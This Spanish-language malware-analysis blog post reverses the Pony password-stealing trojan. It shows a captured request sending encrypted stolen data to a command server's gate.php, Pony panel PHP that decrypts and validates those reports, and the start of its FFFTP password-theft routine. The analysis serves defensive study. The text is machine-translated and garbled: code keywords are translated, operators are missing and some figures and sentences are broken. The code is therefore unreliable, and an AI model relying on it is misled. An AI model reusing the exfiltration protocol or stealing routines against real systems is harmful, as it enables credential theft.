Análisis de malware

Revertir el troyano Pony parte II

diciembre 9, por SecRata

Pony es un troyano ladrón y ha estado activo desde hace bastante tiempo. Fue responsable de robar más de000 dólares en bitcoins ( https://threatpost.com/latest-instance-of-pony-botnet-pilfers–700k-credentials/104463/ ). En esta publicación, intentaremos cubrir la inversión estática del troyano Pony.

Herramientas necesarias:

  1. Vmware
  2. Desensamblador IDA
  3. ollydbg Depurador
  4. editor hexadecimal

Si no ha leído la Parte I, le recomendamos que la lea antes de leer esto.

En este post vamos a examinar el tráfico de comandos y controles y vamos a analizar estáticamente el binario.

Miremos el tráfico pcap

ENVIAR /gate.php HTTP/1.0

Anfitrión: titratresfi.ru

Aceptar: */*

Codificación de aceptación: identidad, *;q=0

Aceptar-Idioma: en-US

Longitud del contenido: 274

Tipo de contenido: aplicación/flujo de octetos

Conexión: cerrar

Codificación de contenido: binario

Agente de usuario: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

…..ql.HlW*.F.udS]…L….^.cF.;!….A5 v…6…….D.. ..Z.+.xld.{o.JFY`.D..Z….aP.}U…W..6..NR.7@P.1..p5t.`.. ….U

..d.!..3..tHJ.J..I……g8…8.`..`.f…i..J..(r..MrnW. ..frv[…….t.}….D`%}U…m…KEn.R+.iD.:4…9.L….EnR. ..?….|.B…$o..

…/….AHTTP/1.1OK

Servidor: nginx/1.6.2

Fecha: jueves, 12 de noviembre de 15:35:16 GMT

Tipo de contenido: texto/html

Conexión: cerrar

X-Desarrollado por: PHP/5.4.41

.Z..O….P..na..+..

Esta es una solicitud de inicialización básica enviada al servidor y, aparentemente, está cifrada. Miremos el código fuente del panel Pony para descubrir qué tipo de cifrado está utilizando y cómo se puede volver a decodificar.

Al observar el código fuente de gat e para manejar solicitudes básicas básicas, descubrimos

Primero verifica si el tamaño es mayor que 12 y max_db_len_size. Después de que esos datos se verifican nuevamente, aparece un encabezado en la función verificar_report_file_header() que nos dice que también tiene un encabezado.

Profundicemos en el código fuente de contraseña_modules.php para descubrirlo.

Podemos localizar las siguientes funciones encargadas de verificar el encabezado del paquete.

función estática pública verificar_nuevo_archivo_header($datos)

{

si (stren($datos) 4)

falso retorno;

$max_header_len = max(strlen(REPORT_HEADER), strlen(REPORT_PACKED_HEADER), strlen(REPORT_CRYPTED_HEADER));

$rc4_key = substr($datos, 0, 4);

$encrypted_header = substr($datos, 4, $max_header_len);

$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);

return self::verify_old_file_header($decrypted_header);

}

función estática pública verificar_old_file_header($data)

{

si ((substr($datos, 0, strlen(REPORT_HEADER))) == REPORT_HEADER)

devolver verdadero;

if ((substr($datos, 0, strlen(REPORT_PACKED_HEADER))) == REPORT_PACKED_HEADER)

devolver verdadero;

if ((substr($datos, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER)

devolver verdadero;

falso retorno;

}

función estática pública verificar_report_file_header($datos)

{

devolver self::verify_new_file_header($data) || self::verify_old_file_header($datos);

}

Consta de dos encabezados predefinidos, uno nuevo y uno antiguo, y ambos se verifican consecutivamente.

A continuación se detallan las definiciones de las palabras clave mágicas del encabezado.

definir(«REPORT_HEADER»,»PWDFILE0″); // cada informe de contraseña comienza con este encabezado

define(«REPORT_PACKED_HEADER», «PKDFILE0»); // encabezado que indica que el informe está empaquetado

define(«REPORT_CRYPTED_HEADER», «CRYPTED0»); // encabezado que indica que el informe está cifrado

El tamaño máximo del encabezado es 12 bytes, por lo que doce bytes después de los primeros 4 bytes siempre contienen el encabezado. Los primeros cuatro bytes se utilizan como clave rc4.

$rc4_key = substr($datos, 0, 4);

$encrypted_header = substr($datos, 4, $max_header_len);

$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);

Después del descifrado, se llama a otra función para descifrar el resto del informe y verificar la integridad del informe. es decir, pre_decrypt_report()

función estática pública pre_decrypt_report($data, $report_password = »)

{

si (self::verify_new_file_header($datos))

{

self::rand_decrypt($datos);

}

if ((substr($datos, 0, strlen(REPORT_CRYPTED_HEADER))) != REPORT_CRYPTED_HEADER)

falso retorno;

si (stren($datos) == 0)

{

falso retorno;

} else if (strlen($data) 12) // la longitud no puede ser inferior a 12 bytes (encabezado de 8 bytes + suma de comprobación crc32)

{

falso retorno;

} si no (strlen($datos) REPORT_LEN_LIMIT)

{

falso retorno;

} elseif (strlen($data) == 12) // informe vacío

falso retorno;

// extrae la suma de comprobación crc32 del flujo de datos

$crc_chk = data_int32(substr($datos, strlen($datos)-4));

// elimina la suma de comprobación crc32 del flujo de datos cifrados

$datos_cifrados = substr($datos, 0, -4);

// comprobar la validez del informe

$crc_chk = obf_crc32($crc_chk);

si ((int)crc32($encrypted_data) != (int)$crc_chk)

{

falso retorno;

}

$decrypted_data = rc4Decrypt($report_password, substr($encrypted_data, 8));

// hay otra suma de comprobación crc32 disponible para verificar el proceso de descifrado

// extrae la suma de comprobación crc32 del flujo de datos descifrado

$crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4));

// elimina la suma de comprobación crc32 del flujo de datos

$decrypted_data_check = substr($decrypted_data, 0, -4);

// comprobar la validez del informe

$crc_chk = obf_crc32($crc_chk);

si ((int)crc32($decrypted_data_check)!= (int)$crc_chk)

{

falso retorno;

}

$datos = $datos_descifrados;

devolver verdadero;

}

}

En esta función, el encabezado se verifica nuevamente y se extrae un valor de 4 bytes del final del flujo de datos. Este valor se utiliza como suma de verificación CRC32 para los datos. La suma de verificación CRC32 se elimina y luego se calcula la integridad.

Después de verificar con éxito el hash crc32. Este fragmento de datos después de los primeros 8 bytes se decodifica con una clave rc4 predefinida tomada de la base de datos $report_password

$pony_db_report_password = $pony_db-get_option(‘report_password’, », REPORT_DEFAULT_PASSWORD);

Nuevamente, la suma de verificación crc32 se extrae de los últimos 4 bytes del flujo descifrado y se verifica su integridad.

Si es un archivo empaquetado, se descomprime con aplib. Si es una solicitud básica, se descifra con rc4 y se analiza en una estructura.

// informe del proceso

ob_start(); // detecta ruido en el procesamiento de informes

informe_error(E_ALL);

$parse_result = $informe-process_report($received_report_data, $pony_db_report_password);

$ob_data = recortar(ob_get_contents());

informe_error(0);

ob_end_clean();

Antes de comprobar si el ID del informe ya está presente en el sistema y, de ser así, no continúa con la creación de un nuevo ID para el informe en particular.

Luego procede a completar información a partir de datos no cifrados en la base de datos, que tiene el siguiente formato.

$pony_db-update_parsed_report($report_id, $report-report_os_name, $report-report_is_win64, $report-report_is_admin, $report-report_hwid, $report-report_version_id, $url_list_array, $report-log-log_lines , $informe-cert_lines, $informe-wallet_lines, $email_lines);

Veamos ahora cómo Pony intenta robar contraseñas. Todas las rutinas responsables de robar las credenciales almacenadas se almacenan en una matriz de punteros:

veamos una función responsable de robar contraseñas FFFTP.

Primero busca la contraseña almacenada codificada en la clave de registro SoftwareSotaFFFTP y, una vez encontradas todas las claves, intentará decodificarlas utilizando su propio algoritmo de decodificación.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *